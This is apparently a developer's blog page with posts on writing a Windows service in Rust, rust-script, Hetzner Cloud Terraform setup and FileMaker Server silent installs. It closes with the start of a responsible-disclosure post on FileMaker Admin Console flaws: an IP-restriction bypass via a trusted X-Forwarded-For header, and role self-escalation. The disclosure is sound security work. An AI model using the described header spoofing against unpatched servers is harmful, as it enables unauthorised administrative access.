David Hamann

Writing a Windows Service in Rust

Sat, 28 Feb 2026 00:00:00 +0000

I’m currently writing a cross-platform server application in Rust which should also be able to run as a service on Windows.

While this sounds like a relatively straight-forward thing to do, it was a bit more involved than I originally thought (especially compared to running unix services).

Below you’ll find my notes and a well-documented code sample for running a small echo server for demonstration purposes as a Windows service. I’m going to cover service initialization, responding to control commands (like STOP) and also handling shutdowns in a tokio runtime setting where the individual tasks need to be cancelled. The sample application can also be run in console mode and the Windows service parts are conditionally compiled – so you can run/compile it on Unix systems for console mode use as well.

I decided to use the windows_service crate which abstracts the Windows API calls away and gives you an easy interface to work with.

The service can be installed with: sc.exe create sample-service binPath= "C:\path\to\target\app.exe --service" (sample-service can also be any other name, but it’s important to refer to the same name in the code as well. --service is just an argument for this sample code.)

You can find the complete code here on GitHub.

main(): Service vs. console mode

The application we are going to build should be able to be started as a Windows service but also retain the option to run in console mode. Since the service mode is only available on Windows, certain blocks have to be marked for conditional compilation with the cfg attribute.

We want to use the tokio asynchronous runtime but have the two mentioned startup cases – service and console mode. This means we can’t rely on tokio’s main macro attribute to set things up for us. In the service case, our runtime needs to be set up in a separate thread as the main one will block after calling the Windows service control dispatcher. So we will build the runtime in our main function only in the non-service branch.

Finally, to be able to stop our application and its multiple connection handling tasks – in both service and console mode –, we have to create a CancellationToken and pass it to our app’s individual tasks to receive a signal for a cancellation request (such as a STOP request from the service control manager, SCM, or ctrl-C in console mode) – more on that later in the post.

run_app will be our actual application start.

Here’s our main:

fn main() {
 if std::env::args().any(|a| a == "--service") {
 #[cfg(windows)]
 {
 // service mode (Windows)
 if let Err(e) = win_service::start() {
 // note that this error is only visible if you accidentally
 // run --service in non-service mode. It might make sense
 // to log to the Windows Event Log here.
 eprintln!("Error: {e}");
 }
 }
 #[cfg(not(windows))]
 {
 eprintln!("--service flag is only supported on Windows");
 std::process::exit(1);
 }
 } else {
 // normal console mode (manually started on Windows/Linux/macOS)
 let rt = match tokio::runtime::Runtime::new() {
 Ok(rt) => rt,
 Err(e) => {
 eprintln!("Error setting up tokio Runtime: {e}");
 return;
 }
 };

 let token = CancellationToken::new();
 let token_clone = token.clone();

 rt.block_on(async {
 tokio::spawn(async move {
 let _ = tokio::signal::ctrl_c().await;
 println!("Got Ctrl-C, shutting down...");
 token.cancel();
 });

 if let Err(e) = run_app(token_clone).await {
 eprintln!("Got error: {e}");
 }
 });
 }
}

Defining entry point and starting service control dispatcher

As can be seen in main, the service mode will call start() from our win_service module.

In it, we call service_dispatcher::start from the windows_service crate, which is a wrapper around the Win32 StartServiceCtrlDispatcher function.

When running an application as a service, the executable is supposed to call this function right in the beginning, and pass the service name and a pointer to the application’s entry point function. In the below code, this function is called ffi_service_main and is being generated by the define_windows_service! macro (the Windows API requires an entry point with the signature extern "system" fn(u32, *mut *mut u16), “system” being the standard calling convention on the Windows system).

service_dispatcher::start will block until we’re done or the application stops for another reason, and ffi_service_main will be called in a new thread to be able to start the initialization process.

mod win_service {
 const SERVICE_NAME: &str = "sample-service"; // important to match the service name!

 // ...

 define_windows_service!(ffi_service_main, app_service_main);

 pub fn start() -> Result<(), windows_service::Error> {
 service_dispatcher::start(SERVICE_NAME, ffi_service_main)
 }

 // ...
}

The windows_service crate abstracts the Windows API from us and we can build our actual service initialization logic in the function named app_service_main in the code below. This must just be a function which takes Vec<OsString> and will be called by ffi_service_main.

Depending on your service, you can ignore the arguments as these are just the service start parameters, not the arguments to your app (i.e. sc.exe start <service name> arg1 arg2).

Our app_service_main can then wrap a run_service function and potentially log errors to the windows event log or a file. Once app_service_main returns, the dispatcher (service_dispatcher::start) eventually unblocks.

pub fn app_service_main(_arguments: Vec<OsString>) {
 if let Err(_e) = run_service() {
 // log error (e.g. to Windows Event Log)
 }
}

Service initialization

In our run_service(), we are going to do the following:

Create a oneshot channel to be able to signal a shutdown and initiate a token cancellation in our application when we receive a STOP from the service control manager (SCM)
Register our service control handler code to define what should happen for which control event
Set the service state from start pending to running
Create the tokio runtime
Create a cancellation token to be able to cancel the application’s tasks on shutdown
Spawn a background task to receive and handle our shutdown signal
Eventually run our app with run_app(), just like in the console mode case mentioned in the beginning
Finally, once our app has finished, set the service state to stopped again

Since the code is easier to follow with inline comments, I’ve annotated run_service below rather than describing it separately. I also mentioned a few things that could be improved when doing this for a production application.

// Main service logic for registration of SCM handler code (for
// handling stop events from SCM), to signal to SCM that we're
// starting/running/stopping, and eventually running the app within the
// tokio runtime.
fn run_service() -> Result<(), windows_service::Error> {
 // oneshot channel to be able to receive stop requests, should the SCM
 // control handler send one.
 // The transmitter part goes into the control handler closure, the
 // receiver goes into our own background tasks which handles the token
 // cancellation and setting of the stop pending state.
 let (shutdown_tx, shutdown_rx) = oneshot::channel();
 let shutdown_tx = Mutex::new(Some(shutdown_tx));

 // Register service control handler
 // This wraps RegisterServiceCtrlHandlerExW – so we tell SCM to call
 // the following closure whenever it needs to signal a control command
 // to us.
 // The closure runs in a separate thread.
 // Since register() gives us a status handle, this must be called
 // before we can set a status (start pending, etc.)
 // SERVICE_NAME is required here again, as multiple services could
 // potentially share the same binary (not in our case, but part of API).
 let status_handle = service_control_handler::register(
 SERVICE_NAME,
 move |control_event| match control_event {
 ServiceControl::Interrogate => {
 // Mandatory so SCM can check if the service is still alive
 // and responding
 ServiceControlHandlerResult::NoError
 }
 ServiceControl::Stop => {
 // SCM (or a user through SCM) has requested a stop of the
 // service. Use oneshot transmitter to signal a shutdown to
 // our app (in case it hasn't exited yet, i.e. receiver is
 // still there).
 // We use the channel here and not the cancellation token
 // directly as we don't have the status handle yet and make
 // it a little easier.
 if let Some(tx) = shutdown_tx.lock().unwrap().take() {
 let _ = tx.send(());
 }
 ServiceControlHandlerResult::NoError
 }

 // For any other control event we just tell SCM that we can't
 // handle it.
 _ => ServiceControlHandlerResult::NotImplemented,
 },
 )?;

 // Tell SCM that we've received the start request
 // This is technically not necessary since we don't have an
 // involved/long-lasting setup logic, so we could just go straight into
 // Running, and don't set StartPending with a wait_hint. I added it for
 // completeness.
 status_handle.set_service_status(ServiceStatus {
 // SERVICE_WIN32_OWN_PROCESS, i.e. we run our own non-shared
 // process
 service_type: ServiceType::OWN_PROCESS,

 // Starting up... (the new state of the service)
 current_state: ServiceState::StartPending,

 // Accept no control during startup
 controls_accepted: ServiceControlAccept::empty(),

 // No error
 exit_code: ServiceExitCode::Win32(0),

 // Progress checkpoint for SCM (only relevant if we would have a
 // multi-step initialization and want to report progress)
 checkpoint: 1,

 // How long SCM should wait before considering the service as hung
 wait_hint: Duration::from_secs(10),

 // Only used for shared processes
 process_id: None,
 })?;

 // Now tell SCM that we're ready
 // (ideally, you would have validated your initialization at this point,
 // however, for a cross-platform app, you would likely need to
 // restructure a bit if everything is normally done in run_app. I kept
 // it simple here).
 status_handle.set_service_status(ServiceStatus {
 service_type: ServiceType::OWN_PROCESS,
 current_state: ServiceState::Running,

 // Accept STOP commands while running
 controls_accepted: ServiceControlAccept::STOP,

 exit_code: ServiceExitCode::Win32(0),

 // Must be 0 when service is running
 checkpoint: 0,

 // No wait hint when running, so just default/zero
 wait_hint: Duration::default(),
 process_id: None,
 })?;

 // Create tokio runtime _here_ as our regular main entry point in the
 // service case just calls the dispatcher and the dispatcher calls us
 // on a different thread.
 let runtime = match tokio::runtime::Runtime::new() {
 Ok(rt) => rt,
 Err(e) => {
 // Failed to create runtime
 status_handle.set_service_status(ServiceStatus {
 service_type: ServiceType::OWN_PROCESS,
 current_state: ServiceState::Stopped,
 controls_accepted: ServiceControlAccept::empty(),
 exit_code: ServiceExitCode::Win32(575), // app init failure
 checkpoint: 0,
 wait_hint: Duration::default(),
 process_id: None,
 })?;

 // hack: note that a custom error type might be more accurate
 // here as it's not a Windows API error...
 return Err(windows_service::Error::Winapi(e));
 }
 };

 let token = CancellationToken::new();

 runtime.block_on(async {
 let app_token = token.clone();

 // Spawn background task that waits for stop signal sent through
 // control handler, and then cancels the token to notify our app
 // tasks
 tokio::spawn(async move {
 let _ = shutdown_rx.await;
 token.cancel();

 // Report StopPending so SCM knows we're winding down and
 // doesn't force-kill us.
 // ServiceStatusHandle implements Copy, so we can use it here
 let _ = status_handle.set_service_status(ServiceStatus {
 service_type: ServiceType::OWN_PROCESS,
 current_state: ServiceState::StopPending,
 controls_accepted: ServiceControlAccept::empty(),
 exit_code: ServiceExitCode::Win32(0),
 checkpoint: 1,
 wait_hint: Duration::from_secs(10),
 process_id: None,
 });
 });

 // Run application until cancelled via token
 if let Err(e) = crate::run_app(app_token).await {
 // again: better to log to Windows Event Log or a file as
 // this error message goes to nowhere :-)
 eprintln!("Got error: {e}");
 }
 });

 // Tell SCM that we're done (we've passed the blocking runtime code
 // above, so we either crashed or received a shutdown)
 status_handle.set_service_status(ServiceStatus {
 service_type: ServiceType::OWN_PROCESS,
 current_state: ServiceState::Stopped,
 controls_accepted: ServiceControlAccept::empty(),
 exit_code: ServiceExitCode::Win32(0), // You may want to make return an error code
 // depending on run_app success
 checkpoint: 0,
 wait_hint: Duration::default(),
 process_id: None,
 })?;

 Ok(())
}

Sample app

As stated in the beginning, our sample application is a simple echo server. We’re binding to TCP port 5000, listen for connections and handle them by spawning a new task.

In our main loop which accepts new connections, we’re also checking if the cancellation token has been, well, cancelled. And if so, we break out of our connection acceptance loop and go into the connection draining phase to attempt a close of the connections.

We check if we have any remaining active connections, and if so set a 10 second timer while joining the connection tasks one by one. Once all connections have closed or our timer runs out, we break out of the drain loop.

To make this possible, we also have to pass the cancellation token to our connection handling code which will continuously check the token and read from TCP stream until either resolves (shown in next section).

Here’s how this looks in code:

pub async fn run_app(token: CancellationToken) -> Result<(), Box<dyn Error>> {
 let listener = TcpListener::bind("127.0.0.1:5000").await?;
 println!("Listening on 127.0.0.1:5000...");

 // Track all spawned connection tasks so we can wait for them to drain
 // on shutdown.
 let mut connections = tokio::task::JoinSet::new();

 // Accept connections until token gets cancelled
 loop {
 tokio::select! {
 _ = token.cancelled() => {
 println!("Accept loop: cancellation received, stopping...");
 break;
 }
 result = listener.accept() => {
 match result {
 Ok((stream, addr)) => {
 println!("New connection from {addr}");
 let conn_token = token.child_token();
 connections.spawn(
 handle_connection(stream, addr, conn_token));
 }
 Err(e) => {
 eprintln!("Error accepting new connection: {e}");
 }
 }
 }
 }
 }

 // Token got cancelled and we stopped accepting new connections. Now give
 // existing ones some time to finish. After the timeout, connections will
 // just be dropped/tasks cancelled.
 let active = connections.len();
 if active > 0 {
 println!("Waiting for {active} connections to close");

 // you may want to capture/log panics here
 let drain = async { while connections.join_next().await.is_some() {} };
 if tokio::time::timeout(std::time::Duration::from_secs(10), drain)
 .await
 .is_err()
 {
 println!("Time out waiting for connections to close, forcing \
 shutdown");
 }
 }
 println!("Server shut down.");

 Ok(())
}

Handling stream data while checking token

Finally, this is how we handle the token checking in handle_connection:

Either branch of the select! can lead to breaking out of the loop. It polls both branch futures simultaneously and when one resolves, the other is dropped (dropping the read in its pending state is OK when we want to shutdown our server).

async fn handle_connection(
 mut stream: tokio::net::TcpStream,
 addr: std::net::SocketAddr,
 token: CancellationToken,
) {
 let mut buf = [0u8; 1024];

 // Keep reading until token is cancelled (or client disconnects or we have
 // read/write errors). Note that if you're buffering some data, you might
 // want to flush before returning.
 loop {
 tokio::select! {
 _ = token.cancelled() => {
 println!("{addr}: shutdown signal received, closing \
 connection.");

 let msg = format!("Bye {addr}...");
 if let Err(e) = stream.write_all(msg.as_bytes()).await {
 eprintln!("{addr}: write error: {e}");
 }
 break;
 }
 result = stream.read(&mut buf) => {
 match result {
 // Client disconnected
 Ok(0) => {
 println!("{addr}: client disconnected");
 break;
 }
 Ok(n) => {
 // Echo back what we received
 let mut msg = Vec::with_capacity(6 + n);
 msg.extend_from_slice(b"Echo: ");
 msg.extend_from_slice(&buf[..n]);
 if let Err(e) = stream.write_all(&msg).await {
 eprintln!("{addr}: write error: {e}");
 break;
 }
 }
 Err(e) => {
 eprintln!("{addr}: read error: {e}");
 break;
 }
 }
 }
 }
 }
}

And this completes the sample project and little exploration into Windows services. I learned a bunch of new things and hope the descriptions and sample code come in helpful to you as well.

As mentioned in the beginning, you can find the full code here on GitHub.

Writing scripts in Rust – with rust-script or nightly Cargo

Fri, 30 Jan 2026 00:00:00 +0000

A while ago I stumbled upon rust-script, a tool which lets you write single-file Rust programs and execute them as if they were standalone script files.

This comes in very handy when you want to experiment with Rust code, write up executable examples or build small utility programs, but don’t always want to deal with explicitly setting up Cargo projects for every little script.

Using `rust-script`

Let’s have a look at how this works:

First, we install the rust-script binary: cargo install rust-script.

Next, we write a sample script and make it executable (chmod +x example.rs):

example.rs:

#!/usr/bin/env rust-script

fn main() {
 println!("Hello, world!");
}

And finally, we execute the program just like a standalone script:

$ ./example.rs

Hello, world!

You will notice a small delay on the first execution as the compilation step still has to take place in the background. From the second execution, however, you are just invoking the cached binary from the first execution which rust-script manages for you.

Getting compilation output

Let’s add an argument to rust-script and see what’s going on and where the actual executables and project files are stored:

#!/usr/bin/env -S rust-script --cargo-output

fn main() {
 println!("Hello, world!");
}

Executing the script now, you will see the compilation output and cache location:

$ ./example.rs
 Compiling example_bbede6ff2d210dd974ed45f4 v0.1.0 (/Users/user/Library/Caches/rust-script/projects/bbede6ff2d210dd974ed45f4)
 Finished `release` profile [optimized] target(s) in 0.07s
Hello, world!

The Cargo project creation is abstracted away, but if we want to, we can review the generated Cargo.toml in the projects cache folder:

[[bin]]
name = "example_bbede6ff2d210dd974ed45f4"
path = "/private/tmp/./example.rs"

[dependencies]

[package]
authors = ["Anonymous"]
edition = "2021"
name = "example_bbede6ff2d210dd974ed45f4"
version = "0.1.0"

[profile.release]
strip = true

And the corresponding binary can be found in ~/Library/Caches/rust-script/binaries/release/example_bbede6ff2d210dd974ed45f4.

Using dependencies

As rust-script works with a regular Cargo manifest file in the background, it allows you to easily add dependencies in your single-file scripts as well. Here’s an extended example with the rand crate as dependency:

#!/usr/bin/env -S rust-script --cargo-output

//! ```cargo
//! [dependencies]
//! rand = "0.9.2"
//! ```

use rand;

fn main() {
 let x: u8 = rand::random();
 println!("Random number: {x}");
}

The manifest partial from the doc comment will go into the Cargo.toml as expected. And during the first script execution, the dependencies will be downloaded and compiled just like during a regular build using Cargo. Conveniently, the dependencies are also cached.

Good stuff :-)

Using just Cargo (soon to be built-in Cargo script)

Interestingly, single-file packages will soon also be supported by Cargo itself (currently still listed under “unstable features”).

To reproduce the example (though as a debug build) from above, you have to enable the nightly toolchain, specify the unstable script flag and define dependencies in a fenced frontmatter:

#!/usr/bin/env -S cargo +nightly -Zscript
---cargo
[dependencies]
rand = "0.9.2"
---

use rand;

fn main() {
 let x: u8 = rand::random();
 println!("Random number: {x}");
}

Then, you can execute it just like any other script: ./example_cargo_script.rs:

$ ./example_cargo_script.rs
warning: `package.edition` is unspecified, defaulting to `2024`
 Updating crates.io index
 Locking 16 packages to latest Rust 1.95.0-nightly compatible versions
 Compiling libc v0.2.180
 Compiling getrandom v0.3.4
 Compiling zerocopy v0.8.37
 Compiling cfg-if v1.0.4
 Compiling rand_core v0.9.5
 Compiling ppv-lite86 v0.2.21
 Compiling rand_chacha v0.9.0
 Compiling rand v0.9.2
 Compiling example_cargo_script v0.0.0 (/private/tmp/example_cargo_script.rs)
 Finished `dev` profile [unoptimized + debuginfo] target(s) in 2.45s
 Running `/Users/user/.cargo/build/db/13b301754c8242/target/debug/example_cargo_script`
Random number: 58

Using the Hetzner Cloud Terraform Provider

Wed, 21 Jan 2026 00:00:00 +0000

I’m currently in the process of setting up several cloud servers for a new project. The whole infrastructure will run on Hetzner Cloud and be codified.

Since it’s the first time I’m using the Terraform provider for Hetzner Cloud, I want to write down some of the notes I took.

I’ll focus on creating a small, simplified, self-contained example to create a server, set up a firewall, and get a public IP assigned (no private network). If you want to manage multiple stacks and/or multiple projects, it generally makes sense to create your own modules and shared configurations. This is, however, out of scope for this post and not really any different when using Hetzner Cloud vs. other providers.

If you like to read a general overview of Terraform/Infrastructure as Code first, I’ve written a tutorial in 2020 which should still be mostly up-to-date.

Prerequisites

To tell Terraform we are going to work with the Hetzner cloud, we need to specify the relevant provider including a version number, and a token to use for interacting with the API:

terraform {
 required_providers {
 hcloud = {
 source = "hetznercloud/hcloud"
 version = "~> 1.45"
 }
 }
}

provider "hcloud" {
 token = var.hcloud_token
}

If you’ve used Terraform before this looks just like other provider configurations. We say we want to use the hcloud provider found at hetznercloud/hcloud in the Terraform registry. We set the version compatibility to ~> 1.45, i.e. allowing any higher version less than 2.0.

The token can be acquired through the Hetzner Cloud console (Your project -> Security -> API Tokens) and then passed in via a variable:

While not a requirement, a very helpful tool when setting up your Hetzner infrastructure is the hcloud CLI application. I use it mostly to look up things – for example to find the right image identifier to use for a new server:

$ hcloud image list | grep ubuntu
67794396 system ubuntu-22.04 Ubuntu 22.04 x86 - 5 GB 2022-04-21 15:32:38 CEST -
103908130 system ubuntu-22.04 Ubuntu 22.04 arm - 5 GB 2023-03-20 11:10:04 CET -
161547269 system ubuntu-24.04 Ubuntu 24.04 x86 - 5 GB 2024-04-25 15:26:27 CEST -
161547270 system ubuntu-24.04 Ubuntu 24.04 arm - 5 GB 2024-04-25 15:26:51 CEST -

Or to find the right server type:

$ hcloud server-type list
ID NAME CORES CPU TYPE ARCHITECTURE MEMORY DISK STORAGE TYPE
22 cpx11 2 shared x86 2.0 GB 40 GB local
23 cpx21 3 shared x86 4.0 GB 80 GB local
24 cpx31 4 shared x86 8.0 GB 160 GB local
25 cpx41 8 shared x86 16.0 GB 240 GB local
26 cpx51 16 shared x86 32.0 GB 360 GB local
45 cax11 2 shared arm 4.0 GB 40 GB local
93 cax21 4 shared arm 8.0 GB 80 GB local
94 cax31 8 shared arm 16.0 GB 160 GB local
95 cax41 16 shared arm 32.0 GB 320 GB local
96 ccx13 2 dedicated x86 8.0 GB 80 GB local
97 ccx23 4 dedicated x86 16.0 GB 160 GB local
98 ccx33 8 dedicated x86 32.0 GB 240 GB local
99 ccx43 16 dedicated x86 64.0 GB 360 GB local
100 ccx53 32 dedicated x86 128.0 GB 600 GB local
101 ccx63 48 dedicated x86 192.0 GB 960 GB local
...

Initializing

Let’s create a new directory, save the provider config from above in a file called main.tf and then initialize it:

$ terraform init
Initializing the backend...
Initializing provider plugins...
- Finding hetznercloud/hcloud versions matching "~> 1.45"...
- Installing hetznercloud/hcloud v1.59.0...
- Installed hetznercloud/hcloud v1.59.0 (signed by a HashiCorp partner, key ID 5219EACB3A77198B)
Partner and community providers are signed by their developers.
If you'd like to know more about provider signing, you can read about it here:
https://developer.hashicorp.com/terraform/cli/plugins/signing
Terraform has created a lock file .terraform.lock.hcl to record the provider
selections it made above. Include this file in your version control repository
so that Terraform can guarantee to make the same selections by default when
you run "terraform init" in the future.

Terraform has been successfully initialized!

You may now begin working with Terraform. Try running "terraform plan" to see
any changes that are required for your infrastructure. All Terraform commands
should now work.

If you ever set or change modules or backend configuration for Terraform,
rerun this command to reinitialize your working directory. If you forget, other
commands will detect it and remind you to do so if necessary.

As you see, the version 1.45 we specified is already superseded, and we downloaded version 1.59.0 instead.

If you want to follow along, your directory should now look like this (or similar, depending on your architecture):

.
├── .terraform
│   └── providers
│   └── registry.terraform.io
│   └── hetznercloud
│   └── hcloud
│   └── 1.59.0
│   └── darwin_arm64
│   ├── CHANGELOG.md
│   ├── LICENSE
│   ├── README.md
│   └── terraform-provider-hcloud_v1.59.0
├── .terraform.lock.hcl
└── main.tf

If you prefer to build the provider yourself, please see these instructions on GitHub.

Setting up variables and outputs

To make it easier to experiment, let’s create a variables.tf and define a few variables for attributes we might want to change along the way:

variable "hcloud_token" {
 sensitive = true
 type = string
}

variable "project_name" {
 type = string
 description = "Identifier for naming resources"
}

variable "server_type" {
 type = string
 default = "cpx22" # check "hcloud server-type list" for a list of options
}

variable "server_image" {
 type = string
 default = "ubuntu-24.04" # check "hcloud image list" for a list of options
}

variable "location" {
 type = string
 default = "fsn1" # the data center at which you want to create the resources.
 # check "hcloud location list" for a list of options
}

variable "admin_ips" {
 type = list(string)
 description = "CIDR IP ranges for administrative access"
}

variable "ssh_keys" {
 type = list(string)
 description = "SSH key names or IDs"
}

Most of the variables should be self-explanatory, but I’ve also added a few comments and descriptions to explain the meaning.

To later find out the ID and IP of the server we provision, let’s also create an outputs.tf file with the following content:

output "server_id" {
 value = hcloud_server.example_server.id
}

output "server_ipv4" {
 value = hcloud_server.example_server.ipv4_address
}

I’ll explain where the hcloud_server.example_server comes from in the next step.

Setting up server, firewall and IP address

Now we can finally start creating our resources. Again, the plan is to simply create a server, a few firewall rules and an IP address and then attach the resources accordingly.

IP address

Let’s start with the IP address by creating a new file network.tf:

resource "hcloud_primary_ip" "example_ipv4" {
 name = "${var.project_name}-ipv4"
 type = "ipv4"
 location = var.location
 assignee_type = "server"
 auto_delete = false
}

To assign an IP address to servers on Hetzner Cloud you will need to create a hcloud_primary_ip resource.

In the above example, we give it a name, a type (one of ipv4 or ipv6), a data center location and a type saying what kind of resource we want to assign this IP to (server).

We set auto_delete to false such that the IP is not being deleted when the server is deleted (if you run terraform destroy later this will still delete the IP as expected).

You could also set assignee_id, but since we want to be able to create the IP before the server is created, I’ll just set the assignee_type.

The name (just a resource identifier) and location (data center) make use of the variables we specified before.

Firewall

On to the firewall configuration.

Since this example doesn’t really have a use-case for the server in mind, we just set a few common inbound rules.

Let’s create firewall.tf and start setting up an hcloud_firewall resource:

resource "hcloud_firewall" "example_fw" {
 name = "${var.project_name}-firewall"

 # ssh
 rule {
 direction = "in"
 protocol = "tcp"
 port = "22"
 source_ips = var.admin_ips
 }

 # icmp
 rule {
 direction = "in"
 protocol = "icmp"
 source_ips = var.admin_ips
 }

 # http
 rule {
 direction = "in"
 protocol = "tcp"
 port = "80"
 source_ips = ["0.0.0.0/0"]
 }

 # https
 rule {
 direction = "in"
 protocol = "tcp"
 port = "443"
 source_ips = ["0.0.0.0/0"]
 }
}

We give the firewall a name and use the rule argument to create rules.

Each rule must have a direction, protocol, source_ips, and a port (if it applies, i.e. for tcp and udp).

For SSH and ICMP I limit the source IPs to the ranges we can configure via the admin_ips variable. The HTTP ports I leave open for all.

Server

Now we can finally create our server resource:

resource "hcloud_server" "example_server" {
 name = "${var.project_name}-server"
 server_type = var.server_type
 image = var.server_image
 location = var.location

 ssh_keys = var.ssh_keys

 firewall_ids = [
 hcloud_firewall.example_fw.id
 ]

 public_net {
 ipv4_enabled = true
 ipv4 = hcloud_primary_ip.example_ipv4.id
 ipv6_enabled = false
 }

 user_data = templatefile("${path.module}/cloud-init.yml", {
 hostname = "${var.project_name}-example"
 })

 labels = {
 project = var.project_name
 role = "example-server"
 }
}

Most of the arguments should be clear, but let’s quickly go through them:

name - Obvious
server_type, image, location - These define the type of server, OS and data center, and are filled with the variable values set earlier
ssh_keys - Here, you can set names of SSH keys that you have set up in the Hetzner Cloud Console. They will be written into the authorized_keys file of the root user during initialization. Since we also do some cloud-init setup in the next step, this wouldn’t be strictly necessary, but it’s nice to have a backup access method in case the cloud-init fails. We are setting this argument from a variable defined earlier.
firewall_ids – Here, we attach the firewall resource created earlier. Since it’s a list, you can also combine firewalls (I do that for example, when I have a shared module with a few default rules and then a customer or project module with further more specific rules).
public_net – In this block, we can attach the IP address we created earlier. If you don’t set this, Hetzner will automatically create a new primary IPv4 (and IPv6, if enabled) for you.
user_data – This is where we can set cloud-init data for initialization of the VM. We load the initialization steps from a file cloud-init.yml. More on this later.
labels – Just a bunch of labels you can attach to the server

cloud-init

To initialize the server with a few commands, we can use cloud-init (just like on other platforms).

I usually do a bare minimum in the cloud config and then do the actual set up later on with ansible.

Here’s a sample config for completeness. However, it’s not specifically related to Hetzner Cloud:

#cloud-config

hostname: ${hostname}

package_update: true
package_upgrade: true

packages:
 - ufw
 - python3

users:
 - name: ansible
 groups: users, admin
 lock_passwd: true
 sudo: ALL=(ALL) NOPASSWD:ALL
 shell: /bin/bash
 ssh_authorized_keys:
 - ssh-ed25519 AAAA...

write_files:
 - path: /etc/ssh/sshd_config.d/ssh.conf
 content: |
 PermitRootLogin no
 PasswordAuthentication no
 Port 22
 MaxAuthTries 2
 AuthorizedKeysFile .ssh/authorized_keys
 AllowUsers ansible

runcmd:
 - ufw allow 22/tcp comment 'SSH'
 - ufw allow 80/tcp comment 'HTTP'
 - ufw allow 443/tcp comment 'HTTPS'
 - ufw --force enable
 - systemctl restart sshd

Creating and destroying the infrastructure

If you followed along, you should now have a directory with the following files:

.
├── cloud-init.yml
├── firewall.tf
├── main.tf
├── network.tf
├── outputs.tf
├── server.tf
└── variables.tf

We can now plan, apply and destroy the infrastructure as usual. Make sure to set the values for the variables (via the prompt, environment variables and/or a .tfvars file).

$ terraform apply
...
Apply complete! Resources: 3 added, 0 changed, 0 destroyed.

Outputs:

server_id = "11223344"
server_ipv4 = "1.2.3.4"

Further information

For further information check out the full documentation of the Hetzner Cloud provider on the Terraform Registry site.

How to get rid of web server upgrade prompts when installing FileMaker Server on Ubuntu Linux

Mon, 05 Jan 2026 00:00:00 +0000

A while back the FileMaker Server (FMS) installer for Ubuntu Linux started checking the currently installed web server versions and giving warnings and an interactive prompt (!) in case of outdated versions.

This is rather annoying if you like to install/upgrade your FMS non-interactively. Using ansible, for example, your playbook would just hang and you would start wondering what’s going on.

Let’s see what is actually happening, why it’s happening, and how to solve it.

What is happening?

When you follow the official documentation on “silent installations”, you could assume that setting up a complete Assisted Install.txt file and using the following command is all that is necessary:

sudo FM_ASSISTED_INSTALL=path apt install package_path/filemaker-server-version.build-architecture.deb

In the current and previous version (22.0.2 and 22.0.4) you will, however, eventually see something like this on stdout in the installation process:

Warning: Current nginx version($nginxVersion) is too low, it probably can lead a serious security issue! Please run the script -- NginxUpdate.sh to upgrade it to the latest version!(Ignore: If use Apache)
Do you want to continue to install? [y/n]

Non-interactively, you obviously won’t see anything and thus won’t be able to answer the prompt.

More annoyingly, canceling the installer in this state will likely break the whole installation leading to dpkg telling you that filemaker-server has to be re-installed.

Why is it happening?

Let’s take a quick look at the debian package to understand why this is happening:

# unzip the installer
unzip fms_22.0.4.427_Ubuntu24_amd64.zip

# extract the archive
ar x filemaker-server-22.0.4.427-amd64.deb

# extract the tarball
tar xf control.tar.zst

Now that we have access to the control scripts we can have a look at the bash script preinst.

In it, we see the function checkNginxAndApacheVersion():

checkNginxAndApacheVersion()
{
 :
 local result=$ERROR_NONE

 nginxVersion=$(nginx -v 2>&1 | grep -oP 'nginx/\K[^ ]+')
 apacheVersion=$(apache2 -v 2>&1 | grep -oP 'Apache/\K[^ ]+')

 if dpkg --compare-versions $nginxVersion lt 1.27.0 || dpkg --compare-versions $apacheVersion lt 2.4.57; then

 dpkg --compare-versions $nginxVersion lt 1.27.0 && message "Warning: Current nginx version($nginxVersion) is too low, it probably can lead a serious security issue! Please run the script -- NginxUpdate.sh to upgrade it to the latest vers
ion!(Ignore: If use Apache)"

 dpkg --compare-versions $apacheVersion lt 2.4.57 && message "Warning: Current apache version($apacheVersion) is too low, it probably can lead a serious security issue! Please run the script -- ApacheUpdate.sh to upgrade it to the latest
version!(Ignore: If use Nginx)"

 read -r -p " Do you want to continue to install? [y/n]"
 if [[ "$REPLY" = "y" || "$REPLY" = "Y" || "$REPLY" = "yes" || "$REPLY" = "YES" ]]; then
 result=$ERROR_NONE
 else
 result=$ERROR_INTERRUPT
 fi
 fi

 :
 return $result
}

You can see that both nginx and Apache versions are checked against hardcoded version numbers, and if either one is lower than the target version a prompt will appear, trying to read from stdin (read -r -p "...").

I don’t know why they are checking for both versions and not depending on what web server is or will actually be in use.

If we trace the calls to the function, we see a little further up that the check only takes place under certain conditions:

isLicenseAccepted()
{
 ...
		if [[ $result -eq $ERROR_NONE && $SECURITY_CHECK = true ]]; then

So where is $SECURITY_CHECK coming from?

It’s actually read from the Assisted Install.txt file in readAssistedInstallInfo():

if [[ $fileValid = true ]]; then
 key=$(echo "$line" | cut -d "=" -f 1 | xargs)
 value=$(echo "$line" | cut -d "=" -f 2)

 case "$key" in
 "Security Check" )
 case "$value" in
 "1" | "true" | "True" | "yes" | "Yes" )
 SECURITY_CHECK=true
 ;;
 * )
 SECURITY_CHECK=false
 ;;
 esac
 ;;

Essentially, this means we can jump over this interactive prompt by setting Security Check=0 in our Assisted Install.txt.

Looking at the documentation of assisted installs, there’s unfortunately no mention of this flag: Assisted install of Claris FileMaker Server (at the time of this writing).

Once I found the flag name, I researched a bit more and eventually found that it’s actually officially documented – just somewhere else (oh, well). Look at “Linux: Show the Apache and Nginx update warnings” here: Customize the personalization file.

The solution

After this little detour into the installer, the solution is quite simple:

Set Security Check=0 if you don’t want to be prompted.

Alternatively, make sure to upgrade your web server versions (unfortunately both nginx and Apache) to the indicated version first, and then run your non-interactive install.

You can find the upgrade scripts in the package as well; they are called: NginxUpdate.sh and ApacheUpdate.sh.

I hope this saves someone else a little bit of digging :-)

FileMaker Server Admin Console: Access and Role Restriction Issues

Wed, 09 Oct 2024 00:00:00 +0000

With a few security features added to the FileMaker Server Admin Console in the last few versions, I decided to play around with them to see how they are implemented.

In this article I want to highlight three of the issues I found last year (2023) and subsequently reported to Claris/Apple.

TL;DR: Until version FileMaker Server version 21.0.1 you can bypass the IP restricions and until version 20.3.1 no administrator role privileges are respected on the server (every role can upgrade itself to all privileges). The latter issue remains only partially fixed.

Access restriction bypass (CVE-2024-40768)

The FileMaker Server Admin Console can be configured to only allow access from certain IP addresses (in addition to the loopback address).

If I remember correctly, this restriction was originally enforced via the configuration of the web server (IIS/Apache/nginx) but was then moved to be part of the Admin Console application itself (handling and configuring).

The issue with the implementation up until 21.0.1 is that the application blindly trusts the X-Forwarded-For header to determine the IP address.

